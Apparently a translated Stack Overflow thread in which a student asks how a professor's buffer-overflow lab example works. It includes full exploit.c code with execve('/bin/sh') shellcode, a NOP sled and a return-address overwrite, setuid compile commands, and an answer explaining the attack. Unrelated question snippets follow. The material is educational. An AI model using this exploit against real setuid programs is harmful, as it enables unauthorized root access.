- c - 在位数组中找到第一个零
- linux - Unix 显示有关匹配两种模式之一的文件的信息
- 正则表达式替换多个文件
- linux - 隐藏来自 xtrace 的命令
我的教授为我们上传了一个缓冲区溢出的例子,但并没有很好地解释它。基本上,他利用缓冲区溢出来生成具有 root 权限的 shell。我希望有人能够向我准确解释他的示例代码中发生了什么。他使用了两个C文件,第一个是易受攻击的程序。
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
//stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
第二个代码是漏洞。
/* A program that creates a file containing code for launching shell*/
//exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define DEFAULT_OFFSET 350
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
unsigned int get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr;
int ret;
int offset = DEFAULT_OFFSET;
int codeSize = sizeof(shellcode);
int buffSize = sizeof(buffer);
if(argc > 1) offset = atoi(argv[1]);
ptr = buffer;
a_ptr = (long *) ptr;
memset(buffer, 0x90, buffSize);
ret = get_sp() + offset;
printf("Return Address: 0x%x\n", get_sp());
printf("Address: 0x%x\n", ret);
ptr = buffer;
a_ptr = (long *) ptr;
int i;
for(i = 0; i < 300; i += 4)
{
*(a_ptr++) = ret;
}
for(i = 486; i < codeSize + 486; ++i)
{
buffer[i] = shellcode[i-486];
}
buffer[buffSize-1] = '\0';
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
然后他从命令行使用这些命令
$ su root
$ Password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
$ gcc -o exploit exploit.c
$./exploit
$./stack
我在我们为类(class)设置的 Ubuntu VM 上测试了它,它获得了 root 访问权限,但我只是不明白如何。他还要求我们考虑如何改进代码,欢迎提出任何建议!
最佳答案
我当然不是漏洞利用专家,但这就是我的理解(希望有帮助):
被利用的程序
以下两行有问题,因为您正试图将一个 517 字节的缓冲区复制到一个 12 字节容量的缓冲区中。 strcpy
不够智能,无法在 12 个字节后停止写入 buffer
,因此它会写入内存中的某个位置,覆盖那里的任何内容。
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
由于您的程序以 root 权限运行,因此在内存中写入的任何内容都可以以相同的权限运行。
漏洞利用程序
Exploit 包含一个能够生成新 shell 实例的汇编代码。此代码将写入 badfile
,位于前 12 个字节之后的位置。这是因为前 12 个字节适合被攻击程序的缓冲区。这个文件稍后被读取到这个缓冲区,然后复制到(到小的)str
缓冲区,这意味着除了前 12 个字节之外的任何东西,将被放置在(root 特权的)内存中的某个地方) 被利用的程序。
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
最后,漏洞利用的作用是将注入(inject)的代码压入堆栈,并重写返回地址,以便执行注入(inject)的代码。正如@artless noise 在评论中所建议的那样,这是在这里完成的:
for(i = 0; i < 300; i += 4)
{
*(a_ptr++) = ret;
}
有关堆栈外观的解释,请参阅 this article以及那里有用的图表。
当然,这一切都是可能的,因为被攻击的程序是以root权限运行的。那是因为你以 root 身份运行了这个命令:
# chmod 4755 stack
第一个数字,4
,意味着这个文件(stack
binary)将以拥有这个文件的用户的权限被调用,而不是拥有这个文件的用户调用它(这是默认行为)。这称为 setuuid。否则,攻击者将能够获得启动 stack
的用户的特权,该用户的特权将低于 root。
作为旁注,这正是为什么强烈建议不要以 root 身份运行任何守护进程(即 HTTP 服务器)的原因。缓冲区溢出漏洞总是可以被发现,即使是在最好、最安全的代码库中。以普通用户身份运行程序使攻击者很难造成真正的伤害。
关于c - 缓冲区溢出实现,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/28287256/
这个问题在这里已经有了答案: Possible to make an event handler wait until async / Promise-based code is done? (2
我经常有多个运行的进程(R,Python,eshell/shell),对于每个进程,我经常都有一个相关的脚本,可以从中发送摘要。为此,我通常将每个框架垂直地分成两个窗口,以便脚本文件(例如.py)位于
如何修改 emacs 在关闭缓冲区后选择要显示的缓冲区的方式? 当我有多个列显示相同的缓冲区,然后在其中一个缓冲区中打开另一个文件,然后关闭新打开的缓冲区时,它不会切换回前一个缓冲区,而是切换到另一个
如何将 ex 命令复制到剪贴板或粘贴到缓冲区? 在 Windows 上使用 gvim。 最佳答案 windows剪贴板可以通过the buffer + 访问.因此,可以使用 + 将剪贴板粘贴为前命令。
在 javascript 中如何以比以下更简单的方式获取 b 缓冲区? var num=6553599 var a = new Buffer(4); a.writeInt32LE(num)
每次我在 Google 上搜索有关 OpenGL 编程的文章时,我都会找到一些文章,但似乎所有文章都提到了着色器和缓冲区。那些是什么?你能解释其中的一些吗: 深度缓冲区 模板缓冲区 像素着色器 帧缓冲
我有java考试,当我学习时,我看到了这个练习,我尝试解决它,但我发现一些困难,所以请帮助我考虑实用程序中方法的以下注释、 header 和部分代码名为 Atbash 的加密类。 /**
每次我在 Google 上搜索有关 OpenGL 编程的文章时,我都会找到一些文章,但似乎所有文章都提到了着色器和缓冲区。那些是什么?你能解释其中的一些吗: 深度缓冲区 模板缓冲区 像素着色器 帧缓冲
对于每个属性使用跨步顶点缓冲区与紧密打包缓冲区有何优缺点?我的意思是例如: 步幅:xyzrgb xyzrgb xyzrgb 紧:xyzxyzxyz rgbrgbrgb 乍一看,使用步幅时您似乎可以轻松
我正在尝试将文本文件中每行的数字读取到 ArrayList 中。当我执行以下函数时,它总是跳过最后一个元素。有人可以帮我吗?因为我在这里没有遇到问题,因为它读取直到缓冲区为空,所以他应该在到达 Fil
#include #include int main () { time_t time_raw_format; struct tm * ptr_time; char *buff
基本上我有一个包含不同类型数据的自定义结构。例如: typedef struct example_structure{ uint8_t* example_1[4]; int example_2[4];
我之前的列表实现是一个简单的 LinearLayout,位于一个装满我的项目的 ScrollView 中。 我切换到 ListView 的 Android 实现以简单地使用 CursorAdapter
我想创建一个可变长度的输入事件窗口/缓冲区,当它接收到额外的事件时会变长。 这是为了实现“键入时搜索”功能。我想捕获点击,但为了不给服务器造成压力,我想明智地进行服务调用。 我想到的逻辑是缓冲击键,从
我想将 yuv420P 像素写入缓冲区而不是二进制文件。假设我在指针中存储了 luma 、 Cb 和 Cr。 luma = output_pixel.luma; cb = output_pixel.c
我想在 Go 中构建一个支持多个并发读取器和一个写入器的缓冲区。所有写入缓冲区的内容都应由所有读者读取。允许新读者随时加入,这意味着已经写入的数据必须能够为迟到的读者回放。 缓冲区应满足以下接口(in
本文转载自微信公众号「小明菜市场」,作者小明菜市场。转载本文请联系小明菜市场公众号。 前言 Java NIO 需要理解的主要有缓冲区,通道,选择器,这三个主要的部分。 基础
一 点睛 NIO,可以称为 New IO 或 Non Blocking IO,是在 JDK 1.4 后提供的新 API。传统的I/O 是阻塞式的 I/O、面向流的操作;而 NIO 是非阻塞 I/O 、
我正在寻找一种切换到包含搜索文本的缓冲区的方法。 例如。如果我打开了 100 个缓冲区,我想切换到一个包含 'fooBar = 1' 的缓冲区 最佳答案 我写了一个 Vim 插件来做到这一点:buff
我正在尝试将提取的视频帧(我使用 ffmpeg)推送到 FFMPEG 缓冲区中。我已经查看了 ffmpeg 的缓冲区源文件,例如 buffersrc.c 和 fifo.c,以确定我是否可以这样做,但我
我是一名优秀的程序员,十分优秀!